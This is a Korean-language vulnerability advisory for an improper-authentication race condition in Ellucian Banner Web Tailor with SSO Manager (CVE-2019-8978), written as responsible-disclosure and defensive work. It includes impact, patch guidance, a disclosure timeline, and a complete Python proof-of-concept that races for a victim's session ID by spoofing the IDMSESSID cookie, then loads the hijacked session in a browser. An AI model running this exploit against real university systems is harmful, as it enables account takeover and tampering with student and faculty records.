
Banner Web Tailor 및 Banner Enterprise Identity Services 취약점 공개
작성자: Katie Mulliken [email protected]
감사: Carnegie Mellon University CERT Coordination Center
개요
제품
영향 및 권장사항
a. 영향
b. 권장사항
기술 세부사항
a. 기술 설명
b. 익스플로잇 코드
공개 타임라인
참고 자료
Banner Web Tailor 및 Banner Enterprise Identity Services에서 부적절한 인증 취약점(CWE-287)이 확인되었습니다. 이 취약점은 Web Tailor의 인증 메커니즘으로 SSO Manager가 사용될 때 발생하며, 이로 인해 정보 노출 및 영향을 받는 사용자의 데이터 무결성 손실이 발생할 수 있습니다. 공급업체는 취약점을 확인하고 패치를 제공하였습니다. 자세한 내용은 Ellucian Communities의 게시물([마감 전 링크 제공되지 않음]) 및 Banner Enterprise Identity Services([마감 전 링크 제공되지 않음])를 참조하십시오. 업데이트: IAM 섹션 링크는 다음과 같습니다: https://ecommunities.ellucian.com/message/252749#252749 그리고 Banner Web Tailor 및 SSO Manager 취약점 커뮤니케이션 링크는 Banner General & Banner Technical Community 공간에 게시되었습니다 - ]
Banner Web Tailor는 고등 교육 기관을 위해 제작된 웹 도구로, 등록, 교과 과정 관리, 상담, 관리 및 보고 기능을 제공합니다. 학생들은 등록, 졸업 및 재정 지원 정보에 접근하고 변경할 수 있습니다. 교수 및 교사는 최종 성적을 입력하고 과정을 관리할 수 있습니다. 관리자는 학생 및 교사 정보에 접근하고 변경할 수 있습니다. 수백 개의 기관에서 사용하며, 많은 기관이 CAS 및 SAML 기반 단일 로그인 서비스에 참여하기 위해 SSO Manager를 사용하기로 선택했습니다.[2]
사용자의 고유 식별자(UDCID)가 쿠키를 통해 유출되며, 테스트 사례에서 UDCID가 ID 카드에 인쇄된 기관 ID로 알려진 경우 이 식별자가 캡처되거나 알려지면 계정 손상으로 이어질 수 있습니다. UDCID는 경쟁 조건을 악용하여 공격자에게 무단 액세스를 제공하는 데 사용될 수 있습니다. 학생의 경우 공격자는 수업에서 제외시키고, 재정 지원을 거부하며, 개인 정보를 변경하는 등의 작업을 수행할 수 있습니다. 교수의 경우 과정 관리 불가, 악성 학생이 가짜 최종 성적을 입력하는 등의 상황이 발생할 수 있습니다. 관리자의 경우 공격자가 사용자 정보를 변경하고, 학생 계정에 가짜 보류를 설정하는 등의 작업을 수행할 수 있습니다.
영향을 받는 조직은 최신 버전으로 업데이트해야 합니다. 자세한 내용은 Ellucian Communities의 게시물([마감 전 링크 제공되지 않음]) 및 Banner Enterprise Identity Services([마감 전 링크 제공되지 않음])를 참조하십시오. 업데이트: IAM 섹션 링크는 다음과 같습니다: https://ecommunities.ellucian.com/message/252749#252749 그리고 Banner Web Tailor 및 SSO Manager 취약점 커뮤니케이션 링크는 Banner General & Banner Technical Community 공간에 게시되었습니다 - https://ecommunities.ellucian.com/message/252810#252810. Ellucian Communities를 활용하거나 ActionLine을 통해 Ellucian에 문의하여 자세한 정보를 확인하십시오. 이 공개 정보에 대한 업데이트는 GitHub에서 확인할 수 있습니다: https://github.com/JoshuaMulliken/CVE-2019-8978
부적절한 인증 취약점은 Ellucian Banner Web Tailor에서 SSO Manager와 함께 사용될 때 발생하는 경쟁 조건을 통해 악용될 수 있습니다. 이 취약점은 원격 공격자가 IDMSESSID 쿠키를 피해자의 UDCID(테스트 사례에서는 기관 ID)로 설정하여 Banner Web Tailor 초기 메인 페이지를 반복적으로 요청함으로써 피해자의 세션을 도용하고(서비스 거부 유발) 피해를 입힐 수 있습니다. 피해자가 로그인을 시도하는 동안 공격자는 경쟁 조건을 활용하여 피해자에게 할당될 SESSID를 획득할 수 있습니다. 자세한 내용은 아래 GitHub 링크에 있는 개념 증명 코드를 참조하십시오.
""" exploit.py
This code is designed for Python 3 and requires the packages selenium and requests_threads. It does 50 simultaneous requests per batch and repeats. More or less may be required depending on your connection latency.
"""
import re, time, sys, select, os
from selenium import webdriver
from requests_threads import AsyncSession
requests_per_batch = 50
target_host = input("Please provide the target url (This is from the Web Tailor page post login): ")
target_id = input("Please provide the ID, which in the case tested is the institutional ID: ")
cookies = {
'IDMSESSID': target_id,
}
session = AsyncSession(n=requests_per_batch)
async def _main():
final_sessid = ""
os.system('cls' if os.name == 'nt' else 'clear')
print("To quit press Enter")
while True:
rs = []
for _ in range(requests_per_batch):
rs.append(await session.get(target_host, cookies=cookies))
for response in rs:
for c in response.cookies:
if (c.name == 'SESSID'):
print(c.name, c.value)
final_sessid = c.value
if sys.stdin in select.select([sys.stdin], [], [], 0)[0]:
line = input()
break
print("Last SESSID:", final_sessid)
open_browser = input("Open a browser with this SESSID(y/n): ")
if open_browser == "y":
"""
This feature requires a chromedriver for your operating system version.
It can be found at https://sites.google.com/a/chromium.org/chromedriver/
Place it in the working directory of the exploit.py
"""
browser = webdriver.Chrome(executable_path=os.path.join(os.getcwd(),"chromedriver"))
browser.get(target_host)
browser.add_cookie({
"domain": target_host.split("/")[2],
"name": "SESSID",
"value": final_sessid,
})
browser.get(target_host)
stay_open = input("Press enter to close")
session.run(_main)
2018년 12월 18일: Ellucian의 마케팅 웹 양식을 통해 보고를 시도하고 [email protected]으로 전송
2018년 12월 20일: Carnegie Mellon University의 CERT Coordination Center에 보고서 제출
2019년 1월 2일: LinkedIn을 통해 발견한 Ellucian의 CISO에게 보고서 제출
2019년 1월 2일: 사우스캐롤라이나 대학교에 책임 있는 공개 절차에 대한 정보 요청
2019년 1월 3일: Ellucian으로부터 ActionLine을 통해 보고하라는 지시를 받음
2019년 1월 4일: 사우스캐롤라이나 대학교로부터 취약점 보고 절차가 없다는 답변을 받음
2019년 1월 4일: 사우스캐롤라이나 대학교에 Banner에서 취약점을 발견했다고 알림
2019년 2월 18일: CERT가 공급업체에 연락할 수 없다고 알리고 공개적으로 공개하도록 조언
2019년 2월 25일: Ellucian에 권고 초안을 보내고 공개일을 3월 4일로 설정
2019년 2월 28일: Zoom 회의를 통해 Ellucian에 취약점 데모 시연
2019년 3월 1일: 사우스캐롤라이나 대학교로부터 출판 연기 요청을 받음
2019년 3월 21일: 사우스캐롤라이나 대학교가 Ellucian으로부터 백포팅된 패치를 받음
2019년 3월 26일: Ellucian이 모든 버전에 대한 패치를 최종 완료
2019년 3월 29일: Ellucian으로부터 사우스캐롤라이나 대학교가 4월 1일에 변경 작업을 수행할 것이라는 통보를 받음
2019년 4월 1일: 사우스캐롤라이나 대학교에 패치 상태에 대한 정보 요청
2019년 4월 5일: 사우스캐롤라이나 대학교가 예상 완료일을 2019년 4월 30일로 제시
2019년 4월 30일: 사우스캐롤라이나 대학교가 예상 완료일을 5월 중순으로 업데이트
2019년 5월 7일: 공개일을 5월 13일로 설정
2019년 5월 10일: 사우스캐롤라이나 대학교가 5월 11일로 예정된 모든 Banner 서비스의 계획 중단 공지를 게시
2019년 5월 11일: 사우스캐롤라이나 대학교가 패치를 성공적으로 설치
2019년 5월 13일: 공개 게시